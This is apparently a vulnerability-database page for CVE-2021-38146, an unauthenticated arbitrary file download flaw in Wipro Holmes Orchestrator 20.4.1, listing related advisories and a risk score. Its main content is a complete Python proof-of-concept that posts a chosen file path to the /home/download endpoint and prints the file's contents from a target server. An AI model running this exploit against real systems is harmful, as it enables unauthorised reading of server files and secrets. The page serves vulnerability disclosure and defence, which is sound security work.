Lucene search
K

Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download

🗓️ 15 Nov 2021 00:00:00Reported by Rizal MuhammedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 392 Views

Wipro Holmes Orchestrator 20.4.1 Arbitrary File Downloa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download Exploit
15 Nov 202100:00
zdt
Circl
CVE-2021-38146
7 Jun 202417:11
circl
CNNVD
Wipro Holmes Orchestrator 路径遍历漏洞
15 Nov 202100:00
cnnvd
CVE
CVE-2021-38146
22 Nov 202108:34
cve
Cvelist
CVE-2021-38146
22 Nov 202108:34
cvelist
Nuclei
Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download
7 Jun 202603:02
nuclei
NVD
CVE-2021-38146
22 Nov 202109:15
nvd
Prion
Path traversal
22 Nov 202109:15
prion
RedhatCVE
CVE-2021-38146
22 May 202521:26
redhatcve
`# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC  
# Date: 05/08/2021  
# Exploit Author: Rizal Muhammed @ub3rsick  
# Vendor Homepage: https://www.wipro.com/holmes/  
# Version: 20.4.1  
# Tested on: Windows 10 x64  
# CVE : CVE-2021-38146  
  
import requests as rq  
import argparse  
  
port = 8001 # change port if application is running on different port  
  
def file_download(host, filepath):  
vuln_url = "http://%s:%s/home/download" % (host, port)  
data = {  
"SearchString": filepath,  
"Msg": ""  
}  
  
hdr = {  
"content-type": "application/json"  
}  
  
resp = rq.post(vuln_url, headers=hdr, json=data)  
  
print resp.text  
  
def main():  
parser = argparse.ArgumentParser(  
description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",  
epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"  
)  
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)  
parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")  
args = parser.parse_args()  
  
if "\\" in args.file_path:  
fp = args.file_path.replace("\\", "/")  
else:  
fp = args.file_path  
file_download(args.target_ip, fp)  
  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2021 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.47506
392